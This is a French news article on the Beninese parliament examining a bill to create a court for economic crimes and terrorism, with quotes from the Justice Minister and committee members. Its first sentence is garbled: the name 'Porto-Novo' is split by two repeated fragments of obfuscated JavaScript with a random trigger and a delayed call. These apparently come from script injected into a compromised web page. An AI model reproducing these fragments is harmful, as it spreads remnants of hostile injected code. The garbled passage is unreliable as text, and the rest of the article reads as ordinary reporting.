Bénin : une juridiction spéciale sur les infractions économiques et le terrorisme
Les députés de l’Assemblée nationale du Bénin, ont entamé ce mardi à Pordom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Novo, l’examen d’une proposition de loi portant création d’une “Cour de répression des infractions économiques et du terrorisme”, au Bénin, en présence du ministre de la Justice, de la Législation et des Droits de l’Homme, Joseph Djogbénou.
“Cette Cour sera chargée de la répression du crime de terrorisme, des délits ou crimes à caractère économique ainsi que la répression du trafic de stupéfiants et des infractions connexes”, a indiqué le président de la Commission des lois, de l’Administration et des Droits de l’Homme, de l’Assemblée nationale du Bénin, le député Alexis Agbéléssessi.
S’exprimant lors des débats en plénière du parlement béninois, M. Djogbénou a estimé que la création de cette cour, qui favorisera à temps réel la répression des crimes économiques et du terrorisme, vient combler un vide au niveau des juridictions béninoises.
“Le code pénal prévoit les infractions en ce qui concerne le crime du terrorisme, qui n’en demeure moins qu’en état actuel de la législation, si cela survenait, les juridictions ont les outils nécessaire pour réprimer, mais c’est l’institution que nous n’avions pas”, a-t-il expliqué.
Pour le rapporteur de la Commission des lois, de l’Administration et des Droits de l’Homme du parlement béninois, Orden Alladatin, cette cour sera composée d’un président et de quatre assesseurs, normés par décret présidentiel pris en Conseil des ministres après avis du Conseil Supérieur de la magistrature.
